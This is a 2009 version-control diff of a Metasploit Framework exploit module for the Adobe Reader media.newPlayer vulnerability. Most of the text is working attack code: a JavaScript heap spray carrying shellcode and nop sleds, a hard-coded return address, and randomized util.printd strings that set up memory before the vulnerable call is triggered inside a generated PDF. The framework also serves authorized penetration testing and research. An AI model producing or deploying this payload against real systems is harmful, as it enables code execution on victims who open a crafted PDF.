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metasploit-framework
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port changes from Lurene to browser version 

git-svn-id: file:///home/svn/framework3/trunk@7901 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2009-12-17 05:16:35 +00:00
parent aef9a5c7b2
commit 2baa4a1efa
1 changed files with 16 additions and 6 deletions
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20
modules/exploits/windows/browser/adobe_media_newplayer.rb
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@ -66,9 +66,10 @@ class Metasploit3 < Msf::Exploit::Remote
# reader 9.0.0 - untested # reader 9.0.0 - untested
# reader 9.1.0 - works # reader 9.1.0 - works
# reader 9.2 - works (no debugger, no DEP) # reader 9.2 - works (no debugger, no DEP)
[ 'Adobe Reader Windows Universal (JS Heap Spray)', [ 'Adobe Reader Windows English (JS Heap Spray)',
{ {
'Size' => (0x10000/2) 'Size' => (0x10000/2),
'Ret' => 0x2e0031
} }
], ],
], ],
@ -93,13 +94,22 @@ class Metasploit3 < Msf::Exploit::Remote
# Make some nops # Make some nops
nops = Rex::Text.to_unescape(make_nops(4)) nops = Rex::Text.to_unescape(make_nops(4))
len = 72
# Randomize variables # Randomize variables
rand1 = rand_text_alpha(rand(100) + 1) rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(len/2);
rand5 = rand_text_alpha(len/2);
retstring = Rex::Text.to_unescape([target.ret].pack('V') + rand_text_alpha(len-4))
# The printd strings are 72 bytes (??)
script = %Q| script = %Q|
var #{rand1} = unescape("#{shellcode}"); var #{rand1} = unescape("#{shellcode}");
var #{rand2} = unescape("#{nops}"); var #{rand2} = unescape("#{nops}");
var #{rand3} = unescape("#{retstring}");
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2}; while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length); #{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
@ -110,10 +120,10 @@ for(i=0;i<0x2000;i++) {
memory[i]= #{rand2} + #{rand1}; memory[i]= #{rand2} + #{rand1};
} }
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); util.printd("#{rand4}", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); util.printd("#{rand5}", new Date());
try {this.media.newPlayer(null);} catch(e) {} try {this.media.newPlayer(null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); util.printd("#{rand3}", new Date());
| |
# Create the pdf # Create the pdf
pdf = make_pdf(script) pdf = make_pdf(script)